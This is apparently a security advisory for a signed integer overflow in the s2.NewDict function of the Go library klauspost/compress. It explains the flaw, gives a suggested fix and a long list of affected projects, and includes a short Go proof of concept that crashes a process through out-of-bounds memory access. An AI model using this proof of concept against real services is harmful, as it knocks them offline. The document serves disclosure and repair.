About vulnerability

Signed Integer Overflow in s2.NewDict

Summary

A signed integer overflow vulnerability in s2.NewDict() allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding MaxInt64. When Dict.Encode() is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via unsafe.Pointer arithmetic, crashing the process with SIGSEGV.

Package

• Name: github.com/klauspost/compress/s2
• Ecosystem: Go
• Affected versions: <= v1.18.6 (all versions with NewDict function)

Severity

High (7.5) — CVSS v3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Vulnerability

Type

• CWE-190: Integer Overflow or Wraparound
• CWE-787: Out-of-bounds Write (via unsafe.Pointer)

Description

The NewDict() function reads a uvarint from dictionary data and converts it to int:

r, n := binary.Uvarint(dict)
// ...
d.repeat = int(r)
if d.repeat > len(dict) {
return nil
}

When r exceeds MaxInt64 (9223372036854775807), int(r) overflows to a negative value. Since a negative number is never greater than a positive length, the validation check is bypassed.

When Dict.Encode() is called, the negative repeat value causes an integer overflow in encodeBlockDictGo():

repeat := len(dict.dict) - dict.repeat  // overflows: 62 - (-5758978476775341977) = huge positive
candidate := len(dict.dict) - repeat + s // underflows to negative
load32(dict.dict, candidate)             // OOB via unsafe.Pointer

load32 calls le.Load32 which uses unsafe.Pointer arithmetic without bounds checking:

func Load32[I Indexer](b []byte, i I) uint32 {
return *(*uint32)(unsafe.Add(unsafe.Pointer(unsafe.SliceData(b)), i))
}

This causes a segmentation fault (SIGSEGV) when the negative index is dereferenced.

PoC

package main

import (
"encoding/binary"
"fmt"
"github.com/klauspost/compress/s2"
)

func main() {
var dictData []byte
buf := make([]byte, binary.MaxVarintLen64)
n := binary.PutUvarint(buf, 12687765596934209639) // > MaxInt64
dictData = append(dictData, buf[:n]...)
dictData = append(dictData, make([]byte, 16)...) // minimum dict size

dict := s2.NewDict(dictData)
// dict is non-nil despite invalid repeat value (overflow bypassed validation)

src := make([]byte, 64)
for i := range src { src[i] = byte(i) }
dict.Encode(nil, src) // SIGSEGV: OOB access via unsafe.Pointer
}

Impact

• Denial of Service: The process crashes immediately with SIGSEGV

Attack Vector

Any application that:

1. Accepts user-supplied S2 dictionary data via s2.NewDict()
2. Calls Dict.Encode() on any data ≥32 bytes

Suggested Fix

Validate the uvarint value before converting to int:

if r > math.MaxInt64 {
return nil
}
d.repeat = int(r)

Or use uint for the repeat field and validate against uint(len(dict)).

References

• Source: s2/dict.go lines 59-61 (vulnerability), s2/encode_all.go line 947 (crash site)
• Commit: 539243b (v1.18.6 + 4 commits)

Credits

Christopher Linke / https://github.com/celinke97/

Affected product:

Azure/azure-service-bus-go , ClickHouse/ch-go , ClickHouse/clickhouse-go , FZambia/eagle , GoogleCloudPlatform/cloud-sql-proxy/cloudsql-proxy , Grafana , IBM/go-sdk-core , IBM/ibm-cos-sdk-go , IBM/sarama , Loki , MinIO , TritonDataCenter/triton-go , apache/arrow-go , apache/arrow/go , apache/arrow/go/arrow , apache/cassandra-gocql-driver/gocql , argocd , argoproj/gitops-engine , argoproj/notifications-engine , argoproj/pkg , benmathews/bench , blugelabs/bluge , blugelabs/ice , bufbuild/protoc-gen-validate , census-ecosystem/opencensus-go-exporter-aws/aws , census-ecosystem/opencensus-go-exporter-prometheus/prometheus , census-ecosystem/opencensus-go-exporter-stackdriver/stackdriver , census-instrumentation/opencensus-go , census-instrumentation/opencensus-proto , centrifugal/centrifuge , cncf/udpa/go , cncf/xds/go , cockroachdb/errors , containerd/containerd , containerd/imgcrypt , containerd/nri , containerd/stargz-snapshotter/estargz , coredns/coredns , cortexproject/cortex , denisenkom/go-mssqldb , dgraph-io/badger , dhui/dktest , dlmiddlecote/sqlstats , docker/go-metrics , drone-runners/drone-runner-docker , dsnet/compress , envoyproxy/go-control-plane , envoyproxy/go-control-plane/xdsmatcher , etcd-io/etcd , etcd-io/etcd/api , etcd-io/etcd/client , etcd-io/etcd/server , fsouza/fake-gcs-server , fullstorydev/grpchan , getsentry/sentry-go , go-kit/kit , go-openapi/analysis , go-openapi/loads , go-openapi/runtime , go-openapi/strfmt , go-openapi/validate , go-redis/cache , gobuffalo/pop , gogo/status , golang-migrate/migrate , google/cel-go , google/cel-spec , google/gnostic , google/go-cloud , google/go-containerregistry , google/go-replayers/grpcreplay , google/go-replayers/httpreplay , google/s2a-go , googleapis/gax-go , googleapis/go-genproto , googleapis/go-genproto/googleapis/api , googleapis/go-genproto/googleapis/bytestream , googleapis/go-genproto/googleapis/rpc , googleapis/google-api-go-client , googleapis/google-cloud-go , googleapis/google-cloud-go-testing , googleapis/google-cloud-go/accessapproval , googleapis/google-cloud-go/accesscontextmanager , googleapis/google-cloud-go/aiplatform , googleapis/google-cloud-go/analytics , googleapis/google-cloud-go/apigateway , googleapis/google-cloud-go/apigeeconnect , googleapis/google-cloud-go/apigeeregistry , googleapis/google-cloud-go/appengine , googleapis/google-cloud-go/area120 , googleapis/google-cloud-go/artifactregistry , googleapis/google-cloud-go/asset , googleapis/google-cloud-go/assuredworkloads , googleapis/google-cloud-go/auth , googleapis/google-cloud-go/automl , googleapis/google-cloud-go/baremetalsolution , googleapis/google-cloud-go/batch , googleapis/google-cloud-go/beyondcorp , googleapis/google-cloud-go/bigquery , googleapis/google-cloud-go/bigtable , googleapis/google-cloud-go/billing , googleapis/google-cloud-go/binaryauthorization , googleapis/google-cloud-go/certificatemanager , googleapis/google-cloud-go/channel , googleapis/google-cloud-go/cloudbuild , googleapis/google-cloud-go/clouddms , googleapis/google-cloud-go/cloudtasks , googleapis/google-cloud-go/compute , googleapis/google-cloud-go/contactcenterinsights , googleapis/google-cloud-go/container , googleapis/google-cloud-go/containeranalysis , googleapis/google-cloud-go/dataflow , googleapis/google-cloud-go/dataform , googleapis/google-cloud-go/datafusion , googleapis/google-cloud-go/datalabeling , googleapis/google-cloud-go/dataplex , googleapis/google-cloud-go/dataproc , googleapis/google-cloud-go/dataqna , googleapis/google-cloud-go/datastream , googleapis/google-cloud-go/deploy , googleapis/google-cloud-go/dialogflow , googleapis/google-cloud-go/dlp , googleapis/google-cloud-go/documentai , googleapis/google-cloud-go/domains , googleapis/google-cloud-go/edgecontainer , googleapis/google-cloud-go/errorreporting , googleapis/google-cloud-go/essentialcontacts , googleapis/google-cloud-go/eventarc , googleapis/google-cloud-go/filestore , googleapis/google-cloud-go/firestore , googleapis/google-cloud-go/functions , googleapis/google-cloud-go/gkebackup , googleapis/google-cloud-go/gkeconnect , googleapis/google-cloud-go/gkehub , googleapis/google-cloud-go/gkemulticloud , googleapis/google-cloud-go/grafeas , googleapis/google-cloud-go/gsuiteaddons , googleapis/google-cloud-go/iap , googleapis/google-cloud-go/ids , googleapis/google-cloud-go/iot , googleapis/google-cloud-go/kms , googleapis/google-cloud-go/language , googleapis/google-cloud-go/lifesciences , googleapis/google-cloud-go/logging , googleapis/google-cloud-go/longrunning , googleapis/google-cloud-go/managedidentities , googleapis/google-cloud-go/maps , googleapis/google-cloud-go/mediatranslation , googleapis/google-cloud-go/memcache , googleapis/google-cloud-go/metastore , googleapis/google-cloud-go/monitoring , googleapis/google-cloud-go/networkconnectivity , googleapis/google-cloud-go/networkmanagement , googleapis/google-cloud-go/networksecurity , googleapis/google-cloud-go/notebooks , googleapis/google-cloud-go/optimization , googleapis/google-cloud-go/orchestration , googleapis/google-cloud-go/orgpolicy , googleapis/google-cloud-go/osconfig , googleapis/google-cloud-go/oslogin , googleapis/google-cloud-go/phishingprotection , googleapis/google-cloud-go/policytroubleshooter , googleapis/google-cloud-go/privatecatalog , googleapis/google-cloud-go/pubsub , googleapis/google-cloud-go/pubsublite , googleapis/google-cloud-go/recaptchaenterprise , googleapis/google-cloud-go/recommendationengine , googleapis/google-cloud-go/recommender , googleapis/google-cloud-go/redis , googleapis/google-cloud-go/resourcemanager , googleapis/google-cloud-go/resourcesettings , googleapis/google-cloud-go/retail , googleapis/google-cloud-go/run , googleapis/google-cloud-go/scheduler , googleapis/google-cloud-go/secretmanager , googleapis/google-cloud-go/security , googleapis/google-cloud-go/securitycenter , googleapis/google-cloud-go/servicedirectory , googleapis/google-cloud-go/shell , googleapis/google-cloud-go/spanner , googleapis/google-cloud-go/speech , googleapis/google-cloud-go/storage , googleapis/google-cloud-go/storagetransfer , googleapis/google-cloud-go/talent , googleapis/google-cloud-go/texttospeech , googleapis/google-cloud-go/tpu , googleapis/google-cloud-go/trace , googleapis/google-cloud-go/translate , googleapis/google-cloud-go/video , googleapis/google-cloud-go/videointelligence , googleapis/google-cloud-go/vision , googleapis/google-cloud-go/vmmigration , googleapis/google-cloud-go/vmwareengine , googleapis/google-cloud-go/vpcaccess , googleapis/google-cloud-go/webrisk , googleapis/google-cloud-go/websecurityscanner , googleapis/google-cloud-go/workflows , gopkg.in/telebot.v3 , grafana/alerting , grafana/authlib , grafana/dataplane/examples , grafana/dataplane/sdata , grafana/dskit , grafana/e2e , grafana/grafana-app-sdk , grafana/grafana-aws-sdk , grafana/grafana-azure-sdk-go , grafana/grafana-google-sdk-go , grafana/grafana-live-sdk , grafana/grafana-openapi-client-go , grafana/grafana-plugin-sdk-go , grafana/grafana/apps/alerting/notifications , grafana/grafana/apps/investigation , grafana/grafana/apps/playlist , grafana/grafana/pkg/aggregator , grafana/grafana/pkg/apimachinery , grafana/grafana/pkg/apiserver , grafana/grafana/pkg/promlib , grafana/grafana/pkg/storage/unified/apistore , grafana/grafana/pkg/storage/unified/resource , grafana/kindsys , grafana/loki/pkg/push , grafana/pyroscope-go/godeltaprof , grafana/pyroscope/api , grafana/sqlds , grafana/tempo , grafana/thema , grpc-ecosystem/go-grpc-middleware , grpc-ecosystem/go-grpc-middleware/providers/kit , grpc-ecosystem/go-grpc-middleware/providers/prometheus , grpc-ecosystem/go-grpc-prometheus , grpc-ecosystem/grpc-gateway , grpc/grpc-go , grpc/grpc-go/examples , grpc/grpc-go/stats/opentelemetry , hamba/avro , harness/drone-cli , hashi-derek/grpc-proxy , hashicorp/consul , hashicorp/consul/api , hashicorp/consul/envoyextensions , hashicorp/consul/proto-public , hashicorp/consul/troubleshoot , hashicorp/go-discover , hashicorp/go-metrics , hashicorp/go-plugin , hashicorp/go-raftchunking , hashicorp/hcdiag , hashicorp/hcp-scada-provider , hashicorp/hcp-sdk-go , hashicorp/memberlist , hashicorp/raft , hashicorp/raft-autopilot , hashicorp/raft-boltdb , hashicorp/raft-wal , hashicorp/serf , hashicorp/vault-plugin-auth-alicloud , hashicorp/vault/api/auth/gcp , hashicorp/vault/sdk , heroku/x , hetznercloud/hcloud-go , improbable-eng/grpc-web , influxdata/flux , influxdata/influxdb , influxdata/influxdb-client-go , influxdata/promql , influxdata/telegraf , jaegertracing/jaeger , jhump/goprotoc , jhump/protoreflect , jon-whit/go-grpc-prometheus , kataras/iris , kataras/neffos , klauspost/compress , kubernetes-sigs/apiserver-network-proxy/konnectivity-client , kubernetes-sigs/controller-runtime , kubernetes/apiextensions-apiserver , kubernetes/apiserver , kubernetes/component-base , kubernetes/controller-manager , kubernetes/klog , kubernetes/kms , kubernetes/kube-aggregator , kubernetes/kubectl , kubernetes/kubernetes , leoluk/perflib_exporter , luna-duclos/instrumentedsql , lyft/protoc-gen-star , m3dbx/prometheus_remote_client_golang , microsoft/hcsshim , minio/colorjson , minio/pkg , minio/simdjson-go , minio/zipindex , mongodb/mongo-go-driver , mostynb/go-grpc-compression , nats-io/nats-server , nats-io/nats-streaming-server , nats-io/nats.go , nats-io/stan.go , nhooyr/websocket-old , oapi-codegen/runtime , open-policy-agent/opa , open-telemetry/opentelemetry-collector , open-telemetry/opentelemetry-collector-contrib/connector/spanmetricsconnector , open-telemetry/opentelemetry-collector-contrib/exporter/jaegerexporter , open-telemetry/opentelemetry-collector-contrib/exporter/kafkaexporter , open-telemetry/opentelemetry-collector-contrib/exporter/zipkinexporter , open-telemetry/opentelemetry-collector-contrib/internal/coreinternal , open-telemetry/opentelemetry-collector-contrib/internal/filter , open-telemetry/opentelemetry-collector-contrib/internal/kafka , open-telemetry/opentelemetry-collector-contrib/internal/sharedcomponent , open-telemetry/opentelemetry-collector-contrib/pkg/ottl , open-telemetry/opentelemetry-collector-contrib/pkg/translator/jaeger , open-telemetry/opentelemetry-collector-contrib/pkg/translator/opencensus , open-telemetry/opentelemetry-collector-contrib/pkg/translator/zipkin , open-telemetry/opentelemetry-collector-contrib/processor/filterprocessor , open-telemetry/opentelemetry-collector-contrib/receiver/jaegerreceiver , open-telemetry/opentelemetry-collector-contrib/receiver/kafkareceiver , open-telemetry/opentelemetry-collector-contrib/receiver/opencensusreceiver , open-telemetry/opentelemetry-collector-contrib/receiver/zipkinreceiver , open-telemetry/opentelemetry-collector/config/configgrpc , open-telemetry/opentelemetry-collector/config/confighttp , open-telemetry/opentelemetry-collector/exporter/otlpexporter , open-telemetry/opentelemetry-collector/exporter/otlphttpexporter , open-telemetry/opentelemetry-collector/pdata , open-telemetry/opentelemetry-collector/receiver/otlpreceiver , open-telemetry/opentelemetry-go-contrib/instrumentation/google.golang.org/grpc/otelgrpc , open-telemetry/opentelemetry-go-contrib/samplers/jaegerremote , open-telemetry/opentelemetry-go/exporters/otlp/otlptrace , open-telemetry/opentelemetry-go/exporters/otlp/otlptrace/otlptracegrpc , open-telemetry/opentelemetry-go/exporters/otlp/otlptrace/otlptracehttp , open-telemetry/opentelemetry-proto-go/otlp , openfga/api/proto , openfga/language/pkg/go , openfga/openfga , opentracing-contrib/go-grpc , openzipkin-contrib/zipkin-go-opentracing , openzipkin/zipkin-go , oras-project/oras-go , ory/fosite , ory/go-acc , ory/herodot , ory/jsonschema , ory/viper , ory/x , parquet-go/parquet-go , paulmach/orb , pressly/goose , prometheus/alertmanager , prometheus/client_golang , prometheus/common , prometheus/common/sigv4 , prometheus/exporter-toolkit , prometheus/node_exporter , prometheus/prom2json , prometheus/prometheus , prometheus/sigv4 , prometheus/statsd_exporter , sagikazarmark/crypt , sagikazarmark/locafero , scottlepp/go-duck , segmentio/parquet-go , sercand/kuberesolver , spf13/afero , spf13/cobra , spf13/viper , stoewer/parquet-cli , testcontainers/testcontainers-go , testcontainers/testcontainers-go/modules/mysql , testcontainers/testcontainers-go/modules/postgres , thanos-io/objstore , thanos-io/thanos , twmb/franz-go , twmb/franz-go/pkg/kadm , twmb/franz-go/pkg/kfake , twmb/franz-go/plugin/kotel , twmb/franz-go/plugin/kprom , valyala/fasthttp , weaveworks/common

Affected packages:

github.com/klauspost/compress @ 1.17.9 (+1036 more)